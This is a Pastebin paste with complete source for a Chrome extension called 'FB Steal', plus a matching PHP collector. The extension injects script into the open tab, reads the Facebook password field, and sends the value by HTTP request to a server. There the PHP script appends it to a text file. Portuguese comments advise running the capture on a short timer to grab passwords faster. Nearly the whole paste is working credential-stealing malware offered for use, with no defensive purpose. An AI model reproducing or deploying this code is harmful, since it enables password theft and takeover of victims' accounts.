TDamiao

Get password with chrome plugin [F.Book]

Feb 20th, 2018
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // pagina.html
  2.  
  3. <html>
  4. <head>
  5. rsrs
  6. <script src="script.js"></script>
  7. </head>
  8. <body>
  9. </body>
  10. </html>
  11.  
  12. // manifest.json
  13.  
  14. {
  15.   "name" : "FB Steal",
  16.   "version" : "1",
  17.   "description" : "Pegar alguns dados facilmente",
  18.   "permissions": ["tabs", "http://www.facebook.com/", "https://www.facebook.com/*", "http://127.0.0.1/*"],
  19. "background": {
  20.     "page": "pagina.html"
  21.   },
  22.  
  23.   "manifest_version": 2
  24. }
  25.  
  26. // script.js extension code
  27. // colocar o código abaixo em um setTimeOut de poucos "ms" para capturar a senha mais rapidamente
  28.  
  29. chrome.tabs.executeScript(null,{code:"var pass = document.getElementById('pass').value; pass"}, function(password)
  30. {  
  31.     if(String(password).length > 3) {
  32.         var xmlhttp = new XMLHttpRequest();
  33.         xmlhttp.open("GET","http://127.0.0.1/facebook.php?pass=" + password,true);
  34.         xmlhttp.send();
  35.     }
  36. });
  37.  
  38. // facebook.php
  39. <?php
  40.  
  41.     header('Access-Control-Allow-Origin: *');
  42.    
  43.     if(isset($_GET['pass']))
  44.     {
  45.           file_put_contents("senhas.txt", $_GET['pass'] . "\n");
  46.     }
  47.  
  48. ?>
  49.  
  50.  
  51. // por bruno da silva
  52. // email@brunodasilva.com
Add Comment
Please, Sign In to add comment